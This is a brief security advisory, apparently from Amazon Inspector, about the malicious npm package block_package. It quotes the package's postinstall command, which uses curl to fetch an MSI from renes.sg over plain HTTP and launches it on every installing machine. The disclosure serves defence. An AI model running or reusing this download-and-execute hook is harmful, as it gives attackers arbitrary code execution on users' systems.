Description

Malicious code in block_package (npm)

Source: amazon-inspector

scripts/postinstall.js runs automatically during npm install and uses execSync to invoke curl -O http://renes.sg/npm_block_package.msi & start npm_block_package.msi, fetching an MSI installer from a non-publisher host over unauthenticated plain HTTP and immediately launching it on the installer's machine. The fetch is unpinned, unverified (no hash or signature check), and delivered over a channel trivially subject to tampering. The MSI is executed as the installer user, giving whoever controls renes.sg (or any on-path attacker) arbitrary code execution on every machine that installs this package.
